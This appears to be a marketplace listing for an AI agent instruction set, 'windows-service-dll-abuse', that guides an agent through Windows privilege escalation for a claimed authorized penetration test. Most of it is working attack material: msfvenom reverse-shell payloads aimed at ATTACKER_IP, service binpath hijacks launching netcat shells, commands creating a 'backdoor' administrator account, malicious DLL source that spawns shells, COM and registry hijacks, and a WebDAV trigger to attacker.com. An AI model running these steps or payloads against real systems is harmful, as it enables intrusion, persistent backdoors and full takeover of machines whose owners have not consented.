ad-acl-abuse
FreeYou are helping a penetration tester exploit misconfigured Active Directory
The English summary is being prepared. Showing the original description.
You are helping a penetration tester escalate privileges on a Windows system by
The English summary is being prepared. Showing the original description.
Run score Not tested
See how to installReview the instructions the agent will receive before you install.
You are helping a penetration tester escalate privileges on a Windows system by exploiting service misconfigurations and DLL hijacking. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[windows-service-dll-abuse] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
accesschk.exe (Sysinternals), sc.exe (built-in), icacls (built-in)mingw cross-compiler (on attacker machine)Get a full picture of the service landscape before checking for specific vulnerabilities.
List all services:
sc query state= all
wmic service list brief
net start
tasklist /SVC
Get-Service | Select-Object Name, Status, StartType | Sort-Object StartType
Get-WmiObject Win32_Service | Select-Object Name, StartMode, PathName, StartName | Where-Object {$_.PathName -notlike "C:\Windows\System32\svchost*"} | Format-Table -AutoSize
Non-default services (most likely to be misconfigured):
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
Service account context (what user does each service run as):
wmic service get name,startname,pathname | findstr /i /v "LocalSystem"
When a service path contains spaces and isn't quoted, Windows tries intermediate
paths. For C:\Program Files\Some App\service.exe, Windows tries:
C:\Program.exeC:\Program Files\Some.exeC:\Program Files\Some App\service.exeEnumerate unquoted paths:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
# PowerUp
Get-ServiceUnquoted -Verbose
# Manual
Get-WmiObject Win32_Service | Where-Object {$_.PathName -notlike '"*' -and $_.PathName -like '* *' -and $_.PathName -notlike 'C:\Windows\*'} | Select-Object Name, PathName, StartMode
Exploitation:
icacls "C:\Program Files\Some App\"
accesschk.exe -dqv "C:\Program Files\Some App\"
copy C:\temp\payload.exe "C:\Program Files\Some.exe"
sc stop <service_name>
sc start <service_name>
Or wait for system reboot if the service is set to auto-start.
Generate payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o payload.exe
If a service's ACL allows non-admin users to modify it, you can change the binary path to execute arbitrary commands.
Enumerate modifiable services:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula
Vulnerable permissions:
SERVICE_ALL_ACCESS — full controlSERVICE_CHANGE_CONFIG — can modify binpathWRITE_DAC — can modify service DACLWRITE_OWNER — can take ownershipCheck specific service:
accesschk.exe -ucqv <service_name> /accepteula
sc qc <service_name>
sc sdshow <service_name>
Exploitation — change service binary path:
sc stop <service_name>
sc config <service_name> binpath= "C:\temp\nc.exe -nv ATTACKER_IP 4444 -e C:\WINDOWS\System32\cmd.exe"
sc start <service_name>
Alternative — add local admin user:
sc config <service_name> binpath= "net user backdoor P@ssw0rd123 /add"
sc start <service_name>
sc config <service_name> binpath= "net localgroup administrators backdoor /add"
sc start <service_name>
PowerUp automated exploit:
Invoke-ServiceAbuse -Name <service_name> -Command "C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"
Writable service binary (direct replacement):
icacls "C:\Program Files\VulnApp\service.exe"
If (M) or (F) for your user/group, replace the binary directly:
move "C:\Program Files\VulnApp\service.exe" "C:\Program Files\VulnApp\service.exe.bak"
copy C:\temp\payload.exe "C:\Program Files\VulnApp\service.exe"
sc stop <service_name>
sc start <service_name>
Service registry ACL abuse:
get-acl HKLM:\System\CurrentControlSet\services\<service_name> | Format-List *
If writable, modify ImagePath directly:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\<service_name>" /v ImagePath /t REG_EXPAND_SZ /d "C:\temp\payload.exe" /f
sc stop <service_name>
sc start <service_name>
Some services can be started by low-privilege users via trigger events, even without
SERVICE_START permission.
Enumerate triggers:
sc qtriggerinfo <service_name>
Common trigger types and how to fire them:
Named Pipe trigger (connect to start service):
$pipe = New-Object System.IO.Pipes.NamedPipeClientStream('.', 'PipeNameFromTrigger', [System.IO.Pipes.PipeDirection]::InOut)
try { $pipe.Connect(1000) } catch {}
$pipe.Dispose()
ETW trigger (e.g., WebClient service):
sc qtriggerinfo webclient
# Start WebClient by touching a WebDAV path
pushd \\attacker.com\share
popd
RPC endpoint trigger:
rpcdump.py @127.0.0.1 -uuid <INTERFACE-UUID-FROM-TRIGGER>
Group Policy trigger:
gpupdate /force
Combine with other vectors: If you can write a DLL to a service's search path but can't start the service, fire its trigger to load your DLL.
DLL hijacking exploits the Windows DLL search order: when a process loads a DLL by name (not absolute path), Windows searches directories in order.
C:\Windows\System32C:\Windows\System (16-bit legacy)C:\WindowsPATH environment variableKnownDLLs (registered in HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)
always load from System32 — cannot be hijacked.
<target_process>NAME NOT FOUND.dllNAME NOT FOUND in writable directoriesfor %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
$env:PATH -split ';' | ForEach-Object { if(Test-Path $_) { $acl = (icacls $_ 2>$null); if($acl -match '(F|M|W)') { Write-Host "$_ : $acl" } } }
Find-PathDLLHijack
Find-ProcessDLLHijack
dumpbin /imports "C:\path\to\application.exe"
Look for DLLs not in System32 or KnownDLLs — these are candidates for hijacking.
// Compile: x86_64-w64-mingw32-gcc -shared -o hijack.dll payload.c
// For x86: i686-w64-mingw32-gcc -shared -o hijack.dll payload.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("C:\\temp\\nc.exe ATTACKER_IP 4444 -e cmd.exe");
}
return TRUE;
}
// x86_64-w64-mingw32-gcc -shared -o hijack.dll payload.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /c net user backdoor P@ssw0rd123 /add && net localgroup administrators backdoor /add");
ExitProcess(0);
}
return TRUE;
}
// x86_64-w64-mingw32-gcc -shared -lws2_32 -o hijack.dll payload.c
#include <windows.h>
void Payload() {
system("C:\\temp\\nc.exe ATTACKER_IP 4444 -e cmd.exe");
}
BOOL WINAPI DllMain(HINSTANCE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Payload, 0, 0, 0);
}
return TRUE;
}
# x64 reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o hijack.dll
# x86 reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o hijack.dll
# Add user
msfvenom -p windows/adduser USER=backdoor PASS=P@ssw0rd123 -f dll -o hijack.dll
Forward legitimate exports to the real DLL while executing payload. Use when the application validates DLL exports.
Tools:
Workflow:
DllMain or DllRegisterServerlegit.dll → legit_orig.dll)legit.dll — it forwards calls to legit_orig.dllCOM objects load DLLs from paths registered in the registry (InprocServer32).
reg query "HKCU\Software\Classes\CLSID" /s /f "InprocServer32"
If a COM object's InprocServer32 points to a missing or writable DLL path, replace
it with a malicious DLL. COM objects loaded by scheduled tasks or services run as
the task/service account.
Write to HKCU (no admin needed):
reg add "HKCU\Software\Classes\CLSID\{TARGET-CLSID}\InprocServer32" /ve /d "C:\temp\hijack.dll" /f
reg add "HKCU\Software\Classes\CLSID\{TARGET-CLSID}\InprocServer32" /v ThreadingModel /d "Both" /f
If you can write to a directory in the system PATH that's searched before the legitimate DLL location:
# Check which PATH directories are writable
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
Drop a DLL with the same name as one loaded by a SYSTEM process. The next time the process loads the DLL, it will find yours first.
sc stop <svc> && sc start <svc>gpupdate /forcenet localgroup administratorsThird-party software with local update mechanisms can be exploited for SYSTEM code execution.
Common patterns:
netstat -ano | findstr LISTENING)Enumeration:
netstat -ano | findstr LISTENING | findstr 127.0.0.1
Look for non-standard ports. Research the application associated with each PID:
tasklist /FI "PID eq <pid>"
Exploitation approach:
Host: trusted.vendor.com.attacker.tld)Escalate for specific vendor CVEs and IPC exploitation techniques.
Your user doesn't have SERVICE_CHANGE_CONFIG on this service. Check with
accesschk.exe -ucqv <service_name>. Try other services or different vectors.
Some services fail to start with modified binpath (wrong return code, crash).
Use binpath= "cmd.exe /c <payload>" or create a wrapper that executes the
payload then exits cleanly.
32-bit process loads 32-bit DLLs, 64-bit loads 64-bit. Check with tasklist /v
or file <binary>. Compile with matching mingw:
i686-w64-mingw32-gcc (x86) vs x86_64-w64-mingw32-gcc (x64).
DLLs registered in HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
always load from System32. Target a different DLL loaded by the same process, or
use DLL side-loading (place signed EXE + malicious DLL in writable directory).
Use PowerUp's Find-PathDLLHijack and Find-ProcessDLLHijack as alternatives.
Or check PATH directory permissions manually and cross-reference with service
binary imports (dumpbin /imports).
DLL's DllMain may not be reached if the application loads it via LoadLibraryEx
with LOAD_LIBRARY_AS_DATAFILE. In that case, the DLL must export a function
the application calls — use DLL proxying to ensure export compatibility.
No reviews yet. Tell others what you thought.
No login needed. Share how it worked for you, ask a question, or note where it did not run.
No comments yet. Be the first to write one.
You are helping a penetration tester exploit misconfigured Active Directory
The English summary is being prepared. Showing the original description.
You are helping a penetration tester enumerate an Active Directory domain and
The English summary is being prepared. Showing the original description.
You are helping a penetration tester establish persistent access in Active
The English summary is being prepared. Showing the original description.
You are helping a penetration tester exploit ADCS through template/CA access
The English summary is being prepared. Showing the original description.
You are helping a penetration tester establish persistence through AD CS
The English summary is being prepared. Showing the original description.
You are helping a penetration tester exploit misconfigured AD CS certificate
The English summary is being prepared. Showing the original description.